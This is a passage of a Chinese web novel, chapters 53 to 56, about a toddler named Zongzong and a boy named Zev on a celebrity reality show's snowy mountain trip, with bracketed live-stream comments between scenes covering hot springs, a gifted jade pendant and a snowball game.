但到底只是个小孩,悄悄朝后一点,肩膀抵上顾乾,手默默抓住顾乾的衣服角,表面若无其事。 顾乾低头瞥了一眼,停顿两秒,多加一句:“有空可以来玩。” Zev冷哼:“你太忙了,哪有时间。” “撒娇吗?”顾乾看着前方,问。 “?” Zev震惊地望着顾乾,没有反应过来对方说出这样的话,顾乾稍稍弯了下嘴角。 【好温馨的画面,落泪】 【真的好有爱,明明心里都有彼此】 【这哥俩竟然能一起玩耍,堪称奇迹】 【多亏了奇迹缔造者粽粽,感谢粽粽的出现】 【粽粽:慈祥.jpg】 【深藏功与名的小粽粽】 【没有人在意一下邵晚熠吗】 顾乾带着Zev玩了两趟,重回起点时,邵晚熠已经等得发型凌乱,眼神也可怜巴巴。 “好玩吗?看起来很不错。”等轮胎停稳,邵晚熠过来假装好奇,“好不容易来到这样的美丽雪山,却不能体验一次轮胎滑雪,实在是太遗憾了。” 顾乾看向Zev。 “不。”Zev对邵晚熠铁面无私,紧接着转向顾乾,“哥,你不许同意。” “嗯。”顾乾答应。 邵晚熠:“” “我自己滑下去得了。”邵晚熠就要迈步。 被工作人员拦下:“邵哥一人不算成绩的,要两人一组。” “那我找小林。” 邵晚熠随机指着旁边的林雪客。 被选中的林雪客不太愿意,盛坻不太愿意,顾乾不太愿意。 但都碍着各种各样的原因都不说,只有小粽粽直言:“哥哥,你干什么选小林哥哥呀,他和你不是一组的。” 勇敢地守护林雪客。 林雪客摸摸他的小脸:“没事。” 邵晚熠对粽粽说:“那你让我的组员和我一起,我就不选你的小林哥哥。” 粽粽的目光从邵晚熠身上挪到顾乾身上,又从顾乾身上挪到Zev身上。 锁定目标,开口道:“Z呜哥哥,你就让顾乾哥哥和这个姓邵的哥哥一组滑吧,得完成一下任务。” Zev摇头,原则问题神圣不可侵犯。 “Z呜,答应嘛。”粽粽向对爸爸妈妈那样习惯性撒娇。 手到拈来,十分娴熟。小眉头一皱,鼓鼓的脸蛋稍仰起,把Zev的名字拖长一点,暖暖的小手戳了戳Zev的。 Zev戴着墨镜面色不变,嘴角泄露出一点弧度。 【又现耐克嘴】 【又给我们Zev爽到了】 【暗爽.jpg】 “一次。” Zev掷地有声。 既然粽粽这样求他,就只能勉强宽容一次。 “你真好。”粽粽抱住,飞快亲了一下表达感谢,高兴地回头,“盛坻哥哥,小林哥哥,你们不会被拆散了。” Zev原地愣神。皑皑雪山白茫茫,即使隔着墨镜,浓墨重彩的粽粽也成为了最绚烂的一笔。 在场的大人都看着Zev的小表情,属邵晚熠笑得最大声。 之后的Zev也没有留心邵晚熠和顾乾到底玩了几次,颇为心不在焉。 他觉得粽粽这种行为不太好,每一次肢体接触都应该在必要的场合发生,而不是随心所欲。 但粽粽非要这样做。 也是没有办法的事情。 Zev说服完自己,天色已经完全黑了。 空中月亮高悬,簇拥几颗星星,是寻常的夜空。 但却被雪光映得亮堂堂,仿佛有人打开强光手电,硬是开辟出新的天地。 第53章 傍晚时分,粽粽结束了一天快乐的玩耍,回到和盛坻哥哥还有小林哥哥的房间中。 踏入房门时,小眉头“倏”地皱起。 抱着他的盛坻看得最清楚,低头观察,伸手把粽粽的眉心向两边推一推:“怎么了这是?” “盛坻哥哥,我觉得你和小林哥哥的氛围不太对。”粽粽终于说出这一严肃的事件。 林雪客被叫去拍广告没回来,现在只有他和盛坻哥哥。 粽粽要来一场认真地谈话。 盛坻微微挑眉,没想到连粽粽都感觉到了他和林雪客之间氛围的变化。 他盘了盘圆圆的小脸:“我们粽粽每天操心这么多事儿。我和你小林哥哥没什么不对的,你放心好了。” 粽粽看着蒙在鼓里的盛坻十分不忍,犹豫一下,捂住自己的话筒,凑近盛坻耳边:“哥哥,你要重视这件事情,小林哥哥说不想和你当朋友了。” 他让开,凝重地看着盛坻,希望他能去积极解决这件事情。 盛坻一怔愣,不相信这是林雪客说出来的。 “盛坻哥哥,朋友间闹矛盾是很正常的事情,很多时候需要交流。”粽粽说,“不如开诚布公地聊一下,会有意外的惊喜哦。” 粽粽把自己的交友之道告诉盛坻。 盛坻无意识地捏他脸蛋。 “大多数误会其实本来没有什么,但时间拖得越久就越严重” 粽粽进行一番长篇大论的补充,小嘴叽里咕噜。 盛坻顿了顿。 的确如此,从最开始某个瞬间感到不对劲,再到后来这样的时刻越来越多,他都忽视过去,才导致不知什么时候和林雪客产生了裂痕。 他和林雪客出道前就认识,两人关系一直很好,是对彼此都很珍视的朋友。 对方不会轻易说出不想和他当朋友这样的话来的。 但和小孩子自然不便多说,于是点头:“好吧,谢谢粽粽的建议。” “我相信你,盛坻哥哥。”粽粽对他寄予厚望。 像盛坻这样温暖又优秀,笑起来阳光还好看的哥哥,怎么会有人不想和他当朋友,只要稍微努力,一定可以重新和林雪客当回好兄弟。 给以肯定和鼓励之后,心情大畅的粽粽来到壁炉附近闲逛一会儿,前往最感兴趣的温泉处察看。 推开门,进入后院,那口温泉“咕嘟咕嘟”冒泡,氤氲的热气在空中泛起白色,仿佛仙境。 粽粽谨慎绕行,在池边蹲下,伸出一根手指,试试水温。 热热的,烫烫的,但还可以接受。粽粽沉迷其中,逐渐把整个手都放进去,拨弄拨弄水温,拿出时却发现不知什么时候变得粉粉,他吃惊地睁大眼,在空中甩了甩。 又恋恋不舍地瞅了瞅水,小手还是跃跃欲试 正望着热气和热水蒸腾,一个恍惚,重心不稳,眼看朝前倒去。 “!” 热浪近在咫尺,在短短的一秒内,他脑海中闪过很多。 没来得及吃的美食轮番在眼前和他打招呼,大鸡腿儿大鸭腿儿交替跑过,浓浓的遗憾填充心间。 补药。 “小心。” 忽然,一个力量拉住他,架起他的小肩膀。 回过头,和邵晚熠面面相觑。 邵晚熠旁边还有一个小Zev,可能是被带来寻找他。 Zev一直致力于不让顾乾和邵晚熠独处,所以随身携带了邵晚熠。 【好家伙,还好来了】 【差点变水煮粽粽】 【清蒸小粽粽】 “哥哥!”惊魂未定的粽粽不管来人是谁,本能地张开小胳膊。 面对这样一个软软的小棉花团投怀送抱,还是一件很美的事情,邵晚熠蹲下迎接,热情答应着:“诶。” 被冰冷的小手阻拦。 Zev挡在前方,把粽粽拉进自己的怀抱,顺带推了把邵晚熠,冷冷一瞥。 邵晚熠被这么轻轻一推,立刻碰瓷般倒在地上:“Zev,怎么推人?” 此地只有粽粽和Zev,他发挥精湛的视帝演技,拧眉痛心疾首,把两个娃看得一愣一愣。 小背影充满沉默,和他们一起沉默的,还有直播间的弹幕。 “哥哥,你没有事吧。”粽粽先反应过来,热心询问。 伸出的友好小手却被恩将仇报地抓住,邵晚熠拉着不让他走。 Zev也皱起眉头,和邵晚熠抢夺粽粽的手。 “不行,推了人要赔偿。”邵晚熠坚持,捏捏粽粽热乎乎的小肉手。 “放开他。”看到这一动作的Zev无法再容忍,竖起小眉头,冷冷,“你要什么。” 邵晚熠就等在这里,凑近,笑道:“把你哥给我。” 风流的五官总带着种半开玩笑的神情,眉毛微挑,桃花眼水光潋滟,怎么看怎么不正经。 Zev大怒,一掌推开。 【震惊,听到了什么】 【是邵晚熠疯了还是我疯了】 【???】 【坊间传闻是真的吗?大学是分手了吗??】 【谁上谁下?】 【也不一定是认真的吧,看起来像是开玩笑,可能只是逗逗Zev】 【静观其变】 粽粽和顾乾,Zev一个都不想让邵晚熠染指。 他也不动声色,按住话筒,示意邵晚熠靠近。 邵晚熠洗耳恭听。 “我哥已经不喜欢你了。”Zev淡淡。 趁着邵晚熠愣神的功夫,夺回粽粽的小手,放在手心里,转身离开。 “Z呜哥哥,我想泡温泉。”粽粽还懵懵的,没有忘记自己的初衷。 好容易来到此处,粽粽比较想体验一下。 “可。” Zev带着粽粽轻车熟路地来到前台。富丽堂皇的大堂站满了金发碧眼的服务生,来往的人各种肤色发色都有,来自世界各地。 平均海拔都挺高,他们的视野里只能看到腿。 粽粽怯生生,抓紧Zev的衣角。 Zev找到一个服务生,用英文报出入住信息,再询问:“Excuse me,is there a public hot spring here(这里有公共温泉吗?)” 服务生微笑着交流几句,把他们俩带到公共温泉区域,发放了两个游泳圈,并替他们呼叫了房间的大人。 盛坻和林雪客英文不好,接到电话之后匆匆跑过来,满头大汗地看着两个拿着游泳圈的娃。 “” “这里的种类更多,有红酒温泉,牛奶温泉,还有玫瑰花温泉。”Zev向粽粽转述方才服务生给他介绍的内容。 粽粽睁大眼睛,呆呆地望着Zev。 心里崇拜更甚,但同时也更加深刻地意识到他们完全是两个世界的人。如同小溪流短暂地与大海在渡口相靠近,之后将各自按照原定的轨迹向前流淌。 “吓死人了,粽粽。”林雪客和盛坻把粽粽抱起来,上下摸了摸他,进行检查。 在他们没有看到的地方,不知粽粽经历了怎样一番奇旅,竟然来到了这个温泉区域。 “盛坻,你要看好他。他才不到三岁,现在又在国外,很可能丢了。”林雪客对盛坻说。 他方才加录完广告回去,盛坻已经忙着在找粽粽了。 “不好意思。我以为他一直在火炉边上玩。” 盛坻没怎么看过房子构造,不知道后面那个温泉也能通向外面。 “你不能以为啊,怎么丢了魂似的。”林雪客还是后怕,顺口说道。 谁知盛坻忽然道:“你还说呢,我丢了魂还不是因为你刚刚” 他看了一眼摄像头,住了口。 “补药吵架,我没有丢。是我自己乱跑忘记告诉盛坻哥哥了。”粽粽伸出小手互相劝和,“我们泡完温泉回去睡觉吧。” 他望了望盛坻,希望等摄像头关掉之后盛坻哥哥可以如他所说,认真和林雪客哥哥聊一聊。 现在满眼的温泉诱惑在前,粽粽决定先享受一番。 他自己给自己套上游泳圈。 【粽粽:叽里咕噜说啥呢,快让我下水】 【温泉泡粽粽】 【哈哈哈好小一个啊,进池子之后还能找到不】 另一边顾乾和邵晚熠姗姗来迟。 他俩听得懂刚刚服务生的电话内容,知道是Zev带着粽粽来泡温泉了。 顾乾虽然没说什么,但是透着淡淡的无语,没想到他弟弟这么能干。 这里人太多,顾乾也把Zev拎起来:“想泡温泉?” “陪他来的。”Zev伸手一指。 “给你买件衣服。” 顾乾没多问,既然Zev想泡温泉,不管出于什么目的,就让他泡。 随便挑了一件儿童连体泳衣给他,回头看看,给粽粽也买了一件。 “少玩一会儿。水太烫。” 换好装的粽粽被投入温泉,Zev暂时在旁边观看。 粽粽在泳圈里微微眯眼,体验热水按摩他的全身。 先是牛奶浴,白白的牛奶和白白的粽粽很相配,更显得皮肤很嫩。 再是花瓣浴,香香的花瓣落满池子,出浴后的小粽粽香香的。 红酒浴也体验一番,在里面飘了两圈,被打捞上岸。一个踉跄,醉醺醺。 【池子里的粽粽看起来很可口】 【哈哈哈自带喜感,好像下了不同的锅】 【不同口味的小粽粽】 最后一个池子看上去就是一池水,没有什么特殊之处。 “这是什么?”粽粽奇怪。 但秉着来都来了的心态,还是进入水中。 刚下去,忽然一群小鱼朝他游过来,粽粽震惊:“哇,小鱼一起泡温泉。” 但小鱼并不是来和他打招呼的,二话不说就开始啃咬他肉乎乎的腿,痒痒麻麻。 “妈呀。”粽粽摆动小腿逃逸,鱼群穷追不舍。 Zev表情凝重,套上泳圈,准备救援。 刚准备起跳,被邵晚熠拦截:“这是温泉鱼,去死皮的,没有危险。” 但却忘记告诉池子中央的粽粽。 “呜呜呜,救命。” 粽粽很伤心。 【哈哈哈被小鱼伤害的第二次】 【白白胖胖的,即使不是温泉鱼都想吃一口粽粽】 【粽粽:再也不和小鱼打招呼了】 第54章 在众人的劝说下,戴着游泳圈的粽粽在池中放弃挣扎,只剩下小脸搁在游泳圈之上,小鱼群袭击他的腿和脚。 刚开始密密麻麻的鱼群很可怕,但逐渐地,粽粽竟然感到比较舒适。 小鱼啃咬他时并不痛,也不像被蚊子咬时那么痒,而是像妈妈帮他掏耳朵一样享受。 “Z呜哥哥,你要一起来玩吗?”粽粽呼唤。 “不。”Zev并不想被鱼咬。 “太可惜了!” 回到房间,粽粽依然在叽叽喳喳地向Zev诉说当时的体验,为对方的错过而惋惜。 “Z呜哥哥,真的很神奇,和小鱼在一个池子里游泳。”他略去之前的逃跑部分,保留最后美好感受。 两人都已经换上睡衣,屋里灯光温暖,壁炉里的火焰安静燃烧,偶尔爆出一两丝火星。 Zev转头看看。 刚被从温泉捞上来不久的小粽粽粉粉嫩嫩,吹得蓬松的头发垂在额前,散发清香。 “你为什么不下水呀。” 等被塞进被窝里,粽粽依然认为没有和小鱼共浴的Zev错过了很多,支起自己问Zev。 “不可惜。”Zev宽慰,“我之前去潜水的时候看到过。” 也是很小的时候发生的事情,其实只是模糊一个轮廓,如果是别人问起他绝并不会提,但现在他就是想告诉粽粽。 果然见粽粽睁圆眼睛:“潜水?潜水是什么感受。” 一边说一边翻过身,趴着侧头,求知地凑到近前:“真的像动画片里那么清晰吗?和我分享一下嘛,Z呜哥哥。” 期待的目光在室内一闪一闪,比火苗还要明亮。 “嗯。”Zev回答。 粽粽耐心等待,没有等到下文。 “没有了吗?”期待的目光逐渐黯淡。 【Zev一字千金】 【经典之《嗯》】 【冷傲Z总和话痨小粽】”有鱼。“ Zev说。 “还有啥。有水母吗?海底有海绵宝宝吗?你在海底怎么呼吸呀,是泡泡把你罩起来的吗?” 粽粽循循善诱,一股脑儿问出想问的,进行自助式聊天。 “告诉我嘛,Z呜哥哥。” 他泡完温泉之后浑身放松,声音也黏糊糊。 Zev有一搭没一搭地回着,粽粽兴致不减。 “真的好厉害。Z呜哥哥你很会聊天的。”最后,粽粽在将要闭上眼睛之际,迷迷糊糊地夸道。 肉乎的小胳膊伸过被子,抱紧Zev,身上是刚才牛奶,玫瑰和红酒的香味,还有一点自带的,属于小孩子的甜香。 外面冰天雪地,白天还热闹的景区现在已然还给冰雪,茫茫一片素净,散发着极低的寒气。 然而屋内被壁炉里的火烤得暖烘烘,空气干燥,被窝温暖,还有一个黏人的小粽粽。 Zev用两根指头推了推,没有推开,停顿两秒,只得选择接受。 他被粽粽的脑袋顶着,眼前正好看到肉乎乎的小脖子,很空荡。于是Zev在外套口袋里摸了摸,把那枚小玉坠拿出来。 玉坠陪伴Zev三年,但自从决定送给粽粽之后,就再也没戴过,在他心里已经是属于粽粽的。 他比划一下,轻手轻脚地戴在粽粽的脖子上。 “别——”粽粽咕哝一声。 Zev停下动作,望着粽粽的小脸。 “别吃我,小鱼。” 粽粽皱起眉头,沉浸在睡梦中。 “” Zev挂好吊坠,把窗帘稍稍拉开一些,借着外面的雪光与月色欣赏。 祖母绿的颜色将皮肤衬得更加白皙细腻,皮肤也把玉的色泽变得润润的,那截红绳垂落,看上去像是艺术品。 仿佛本应该如此。 * 第二天一早,外面簌簌地飘起了雪花。 粽粽支棱着头发坐在床上,一边双手捧着杯子喝水,一边望着被拉开窗帘的窗子,观测雪景。 大大的眼睛一眨不眨,生怕错过这个如同穿越到动画片里的情景。 直播的镜头一开机,便是这么幅美好的画面。 【哇,捕捉到一个小粽粽】 【偷偷欣赏雪景的粽】 【不过这个雪花真的好大啊,难怪能有这么厚的积雪】 放下水杯,粽粽抬起手表连拍n张照片,发给妈妈看。 觉得分享欲还是没有得到完全舒展,拍拍还在熟睡的Zev。 Zev睁开眼,映入视野的便是粽粽圆圆的小脸。 “Z呜哥哥你醒了吗?”粽粽友好询问。 “”Zev瞥了瞥粽粽,重新闭上眼睛。 粽粽凝望Zev,没戴墨镜的顾傲天十分帅气,睫毛和发色一样乌黑,根根分明,微拧的眉毛带着一点不耐烦,形状特别好看,像传说中的剑眉星目。 将来成为霸总之日,肯定会特别有气势。 灼灼的目光让Zev不得不再次睁开眼睛,和紧盯他的粽粽对上目光。 “看什么?”Zev问,“你又在觉得我长得像顾乾?” “没有。”粽粽捧着小脸,“只是单纯觉得你很帅。” 他直白地表达赞美之情,倒让Zev一时无言,移开目光。 【哈哈哈Zev是不是害羞了】 【Zev肯定知道自己很帅啊,毕竟天天面对顾乾】 【也架不住小粽粽这么夸】 粽粽单方面和Zev赞美完雪景后心情大畅,翻身下床,希望可以早点出门。 洗漱时看着镜子,愣了愣。 立刻举着牙刷和牙杯跑过去:“Z呜哥哥,怎么又回到我的脖子上了。” “戴着。”Zev不容置喙,“不许拿下来。” “这太贵重了。” “对我来说不算什么。”Zev说,“送礼物是看赠送的人,收的人只负责收下。” 他掷地有声:“一直退还是不礼貌的。” 粽粽被这番义正辞严吓到,想到他也要送Zev一个礼物,精心准备了一周,如果被拒绝的话也会很伤心。 换位思考之中,他停下摘吊坠的动作。 Zev满意,也下了床,和粽粽一同洗漱。 盛坻和林雪客给他们端来早餐:“今天下雪,节目组让先在室内等通知,雪停了再去完成任务。” “这样呀。”粽粽有点失落。 “对,下大雪有的活动进行不了。”林雪客把三明治递给他。 “我还想出去看看雪呢。” 盛坻想了想:“你们就在门口这片空地玩吧,把衣服穿好,别感冒就行。” “太好了。”粽粽高兴。 飞速吃完饭之后,裹上一层又一层,圆圆的小球准备出门。 “Zev把粽粽拉好。” 盛坻和林雪客坐在室内看着他俩。 “嗯。”Zev波澜不惊,牵起粽粽的小手。 才刚迈出去,纷纷扬扬的雪花就迅速在衣服和头发上堆积,落满一层,融化一层,到处都白白的。 “Z呜哥哥,你头发都变白了。” 粽粽睁大眼睛望着Zev,只见乌黑的头发上落着雪花,仿佛是很时尚的挑染发型。接着铺满整个头顶,像是一头白发。 他笑起来,脸蛋上倒是色彩丰富。 【粽粽还笑别人,自己连睫毛都白了】 【岁月静好的两个小球】 【雪顶粽粽】 他们在外面玩耍一会儿,忽然见远方来了模糊的几个身影。 粽粽踮起脚眺望,指给Zev看:“哇,Z呜哥哥,是小月亮和特儿。” 他迈着小腿跑过去迎接,在雪地里留下深一脚浅一脚的印记。Zev看着他的背影,皱起眉头。 “小月亮,你今天也好漂亮。”粽粽夸道。 “谢谢。”小月亮大方回应。 粽粽发现小月亮的发型每天都有细微的差别:“这是丸子头吗?水平也太高了,精致得像真正的丸子。” Zev仔细观察粽粽的神情,发现和早上夸自己的时候似乎并没有太大区别,他有点生气。 粽粽则丝毫没注意这一切,目光都被小月亮的头发吸引。 丸子绑得整整齐齐,圆圆一个,不知空心还是实心。 “小月亮,我可以捏一下吗?”他伸出罪恶的小手。 小月亮倒是大咧咧地答应,但粽粽小手却在半空中被Zev拦截。 粽粽有点小尴尬:“我只是想看看。” “不可以。”Zev在生气。 粽粽不知道为什么Zev忽然这么严肃,呆了两秒之后,瞅一眼小月亮,再瞅一眼Zev,忽然福至心灵。 立刻收手:“对不起。” 不该动顾傲天的人。 如果是多年之后,他这个小炮灰早已不知灰飞烟灭多少回了。 在最后的节骨眼上,粽粽竟然忘了谨慎行事。 他在心中默默回忆了一下小熊挖井,龟兔赛跑的小故事,告诫自己要坚持到底。 “我再也不碰小月亮了。”粽粽把目光从圆圆的小丸子上挪开,让自己不再去想。 为了不打扰Zev和小月亮,他拔腿跑到成深野旁边。 “特儿。” “粽粽。”成深野点头。 粽粽和谁都能聊:“你见过这么大的雪不?” “没有,这的确算是较大规模。”成深野矜持。 “现在还算小一点。你不知道我早上一起床,那雪大的,好像是被扯破的棉被,里面棉花絮满天飞。” 他的小手比划着,示意早上的雪有多么大。 忽然,一片干枯的小落叶乘着雪花一起飘落,砸在特儿的头发上。 粽粽顺手想帮他摘掉,忽然被朝后拽了拽,转头一看,又是Zev。 “你怎么不和小月亮聊天呢?”粽粽没心没肺,“先等一下,我帮特儿把树叶给摘了。” 还没来得及重新伸手,就见Zev先他一步,上前,摘掉成深野额前的落叶。 抬着的手还没放下,两人在雪中对视。 成深野:“” 【最怕空气忽然安静】 【特儿:是不是有点太暧昧了】 【哈哈哈哈是不是Zev不想让粽粽碰成深野所以先发制人】 【伤敌一千自损一千】 【大家都很震惊】 “不用谢。” Zev淡淡,把落叶丢到一边,将粽粽的手藏在身后。 第55章 成深野感动。 和Zev的另一只手握了握,正式地一笑泯恩仇。 天上的雪势变换,丝毫没有影响大家玩耍的性质。 不知过了多久,最后一片雪花落下,终于天光大亮,明烛天南。 日光打在雪上,粽粽飞速拿出口袋里的小墨镜,重新戴上。 “好酷。”小月亮夸道,也朝旁边的妈妈拿来自己的粉色墨镜。 “你的粉红色墨镜也好好看。”粽粽高兴,介绍自己的墨镜,“这是Zev送给我的。” 小月亮笑笑:“我看了之前的节目,Zev对你真好。” 她把头发撩到耳后,手腕上戴的表和发饰在雪中熠熠生辉,气质不凡。 粽粽望望漂亮的小月亮,又望望帅气的Zev。 如果世界是很多幅画的话,那么粽粽此刻觉得小月亮应该和Zev画在一副画里,画风会是很高贵,很不食人间烟火的那种。 他无法介入,不知为何突然心虚,连忙摇头:“没有没有,Zev对我不好的。” Zev拧起眉头,投来目光。 【Zev:哪里对你不好/流泪小狗头】 【Zev已把小粽宠上天】 【合理猜测粽粽是不是又磕了小月亮和Zev的CP,到处磕CP的粽】 【无人知道粽粽的脑海里在上演什么年度大戏】 【磕学家小粽粽】 恰在此时,身后传来脚步声—— “小朋友们,节目组发消息,我们要完成今天的任务了。” 盛坻拿着手机告诉他们。 所有人陆续出发指定地点,准备开始今天的活动。 路上积雪深厚,困难重重,粽粽趴在盛坻的怀里,伸出小手指,专注地指导他躲避深坑,跨越障碍。 隔壁Zev被顾乾端着,破不自在地不知把手放哪里。 最后抓了个衣服角。 “给我抱抱。”邵晚熠朝着顾乾伸手,“我也想抱着我们Zev,Zev是不是和哥哥关系最好。” “不。”Zev冷淡。 邵晚熠劝:“路太长了,让你哥歇歇。” “没事。”顾乾说。 Zev稍作犹豫,确实觉得与其累着顾乾不如累着邵晚熠,于是勉强同意,由邵晚熠把他接过去。 “诶嘿。” 邵晚熠得逞,立刻在Zev小腰上捏了一把,大步朝前走,不知不觉就把顾乾甩在身后,“现在你可叫天天不应叫地地不灵了。” 他威胁道:“收回你昨天泡温泉的时候和我说的那句话。” 那句残忍的话语萦绕邵晚熠一整晚,非常影响他的心情。 Zev淡定地望着他,回想起昨天,很快检索到了那句极有攻击力的话,摇头,捂住话筒:“不,我哥已经不喜欢你了。” 吐字清晰掷地有声,冷冷的语调仿佛在在原本的利箭上啐了寒冰,邵晚熠又感受到了心碎。 观看直播的观众听不到声音,也能从邵晚熠的表情看出异样。 【说啥了,让演技这么好的邵晚熠放弃表情管理】 【也太见外了怎么动不动就捂话筒】 【邪恶邵晚熠,就知道从顾乾手里抢Zev就是为了偷偷玩】 【我觉得Zev肯定很好玩,可惜身份太贵了玩不起】 【看似Zev在邵晚熠手里,实则轻松拿捏Zev】 邵晚熠不再说话,直到来到目的地。 一行人停留在广阔的大平地,中间的场地已经被清理出来,两边堆着厚厚的雪。 原本就刚下过雪,再这么一堆,显得十分瓷实,目测能有半人多高。 邵晚熠顺手把Zev放在上面。 Zev:“” 他目前高度有限,仅凭自己的力量无法下去。但依然拒绝向邵晚熠求助。 邵晚熠把他朝里推了推,靠着后面,保证不会掉:“求求我,再收回那句话,我把你放下去。” “不。”Zev宁折不弯。 “邵老师,这边有点事情。” 忽然工作人员过来打断,转达说经纪人要联系邵晚熠。 “在这等一下,我接个电话。”邵晚熠和Zev说了句,匆匆离开。 Zev抱臂,脸颊微鼓。 微微的凉风吹拂起发梢,和鼻梁上的墨镜格外相配,从容淡定的姿态仿佛故意坐在这里摆pose。 路过的小粽粽还和他打了招呼:“Z呜哥哥,你坐在上面好酷。” 他崇拜地探头,看着坐在雪堆上的Zev。一身黑色羽绒服,加上黑色墨镜,浓黑的头发带着几点细小的雪粒,随风轻轻摇动。抿着唇,姿态从容。 “嗯。”Zev淡淡点头。 雪后初霁,为保证嘉宾安全,工作人员来来往往,继续未竟的准备工作,现场稍显混乱。 Zev独自呆在高高的雪堆上,仿佛能感受到底下积雪在消融,不时传来“嘎巴嘎巴”的响声,十分可怕。 大雪白茫茫,仿佛他和全世界脱轨。 过了有一会儿,顾乾路过,一转头,和Zev对上视线。 “?” “你怎么在这?” “哥。”Zev朝顾乾伸出胳膊。 顾乾把他抱起来,浑身冰冰的。 “邵晚熠把你放在这里的?”顾乾面色不虞。 “嗯。” Zev点头。 【哈哈哈最后这声“嗯”,怎么突然虚弱】 【被冻久了把鼻音都冻出来了】 【我要是顾乾心都化了】 顾乾拍了两下Zev,去找邵晚熠。 邵晚熠刚打完电话,经纪人说的事情让他有点心烦,站在棵大树旁边摩挲着树干思考。想了挺久,抬头望望树,伸手在叶子上一搓,雪簌簌地落下来。 最后一拍树干,直起身中断思考。 总感觉有什么事儿忘了,直到看见顾乾抱着Zev过来才反应过来,暗道不妙。 “怎么了。”邵晚熠放下手,装傻。 顾乾冷道:“你把他一个人放在雪堆上?” “有这事?”邵晚熠人畜无害地笑笑,“可能顺手了,不好意思。你找你哥求助了?” 他抬手,想摸一下Zev的脸。 Zev转过头,额头抵在顾乾肩膀上,留下一个小小的背影。 邵晚熠没想到Zev来这一招。 “如果你这样对我弟弟,我认为你暂时还是和我们保持距离。”顾乾抱着Zev和邵晚熠擦肩而过,邵晚熠回过身,看到了趴在顾乾肩膀上冷酷的小脸。 【大获全胜的小Zev】 【邪恶邵晚熠终于付出了代价】 【我们Zev在顾乾心中才是当之无愧的NO.1】 但邵晚熠已经不在意那么许多,追过去滑跪道歉,行云流水。 “真是特抱歉,顾乾,刚才是经纪人给我打电话,说着说着事就把Zev忘了。” “这是能忘的吗。”顾乾不想听他解释,冷静把被拉着的袖子朝回抽,“说明在你心里那些事情比Zev更重要。” “没他重要。Zev最重要。”邵晚熠看着Zev。 Zev转过头,脸颊贴着顾乾肩膀,这一侧的小脸还是冰冰的。 顾乾低头看了看,继续和邵晚熠说:“你不用解释,你有你的理由。我更关心我弟弟会不会感冒。” “我不是在解释。”邵晚熠看着顾乾的眼睛,一双深情的桃花眼水光潋滟。 Zev心中暗觉不妙,十分想伸手捂住。 果然听邵晚熠继续:“我们不是说好再也别有误会。” 顾乾停顿几秒,停下拽袖子的动作。”如果他感冒我负责到底,下次不会了。”邵晚熠保证。 洁白的雪花落在他头发上,还有垂下的眼睫上。 顾乾移开目光:“下次把他放在第一位。” “嗯,第二位吧。或者最多就是并列第一,因为你永远是第一个。” 邵晚熠按住话筒,为了让话语清晰地在雪天传递,他稍微俯身,靠近顾乾的耳朵。 顾乾把他推开。 Zev:“” 虽然顾乾表面上没什么变化,但Zev的位置最近,能清晰地看到他哥变红的耳朵,和眨动的眼睫。 Zev很生气。 “各位。”宋霄举起话筒,“一切已经就绪,我们今天要在这里举行冰雪运动会。” “如大家所见,一切都将在眼前这个宽阔的场地进行。 现在摆上了不少物品,也和我们的运动项目有关。现在第一项运动,是我们所熟知的打雪仗,规则稍有不同。每位小朋友将拿到一筐彩色雪球,目标是所有大人,大人则需要限时躲藏,不要被雪球击中。” “最终击中数最高的小朋友和被击中数最少得大人所在组可以获得奖励。” 工作人员拿上道具,有一筐筐彩色雪球,以及一件件挂在背后的白色靶子,只要雪球击中白色,就会留下痕迹。 “这是Zev的。”宋霄把蓝色的小筐递过去。 Zev低头看看,用手套抓起一个,朝旁边靶子还没完全戴好的邵晚熠丢过去。 “啪叽”,正中目标。 白色背心正中央留下一个圆圆的蓝色痕迹。 邵晚熠回过头,看着地上的Zev:“。” 【这一下绝对带着个人恩怨】 【Zev首次主动认真地参与游戏】 【秒杀】 “还没有开始哦。” 宋霄提醒道,工作人员拿来新的道具,给他俩重新换上。 “小朋友先戴上眼罩,在原地等待,摘下来的时候就可以去扔雪球了。” 粽粽的视线被剥夺,黑黑的眼罩把眼睛罩得严严实实,什么都看不到。 他惊慌地四处摸索。 伸出的手被抓住,他吓得一惊。 “是我。”传来了熟悉的声音。 “Z呜哥哥。” 粽粽感到安心。 Zev偷偷捏着粽粽肉乎的小手,等时间一到,摘下眼罩,拉着迷糊的小粽粽出发。 “走慢点呀,Z呜哥哥。” 粽粽抱着自己那一筐紫色的雪球,跟着Zev朝场地走去。 第56章 粽粽方才光顾着看染色雪球,没有完全关注规则,尚处于十分懵懂的状态。 “是分组作战吗,雪球要丢别的组的大人吗?”粽粽问牵着自己的Zev。 “丢他。”Zev一指邵晚熠。 “好。” 粽粽无条件地相信Zev。 【工具小粽】 【一看就是被卖了还要帮人数钱的】 【金牌打手小粽粽】 粽粽迈着小腿儿,跟着Zev一起痛击邵晚熠,蓝色和紫色雪球纷飞,全朝着邵晚熠身上“噼里啪啦”。 “我去。”邵晚熠没想到强度这么大,躲都躲不及。 他一边勉强遮挡着,一边和顾乾说:“你弟弟疯了,快救我。” 顾乾不理会,默默离开。 听着耳边“嗖嗖嗖”的声音,回身看了一眼小小的Zev,若有若无地勾了下嘴角。 引起弹幕一片啊啊啊,也让邵晚熠看得出神,又被“啪叽”一声击中。 其他躲藏起来的嘉宾何曾见过这一阵仗,都纷纷探出头察看。 “Zev,停手吧。” 邵晚熠躲在一个大草堆道具后面,于战火纷飞中勉强劝Zev。眼看对方并不听劝,他快速起身行动,把跟在后面助纣为虐的粽粽抱走。 重回掩体后面,一大一小面面相觑。 粽粽手里还残留着一点紫色的痕迹,低头望望,把小手背到身后。 “你被俘虏了。”邵晚熠告诉粽粽。 粽粽:“。” 同时把粽粽抱起来,挡住前面的靶子,大咧咧望着对面的Zev。 Zev沉默,和邵晚熠怀里的粽粽对视。 粽粽的大眼睛眨巴眨巴,神情呆呆的,并不清楚究竟有没有“俘虏”这一规则。 【挟小粽粽以令Zev】 【貌美的战利品】 【天,这是什么悲情古装剧既视感】 【Zev究竟选择继续进攻还是被俘虏的小粽粽,让我们拭目以待——】 并没有太多悬念,Zev把筐撂下。 “放开他。”掷地有声。 邵晚熠硬是抱着粽粽,和Zev僵持到游戏结束。 重获自由的粽粽跑向Zev,拥抱。 Zev捏捏他,检查一番,确认完好无损。 “好了,游戏已经结束了,大家重新集合,我们来统计结果。” 宋霄看着陌生的名字确认几秒,才开口宣布:“我们获胜的小朋友是—— Zev。” 始终游离在众人之外的Zev终于靠着努力获得第一名,现场响起掌声。 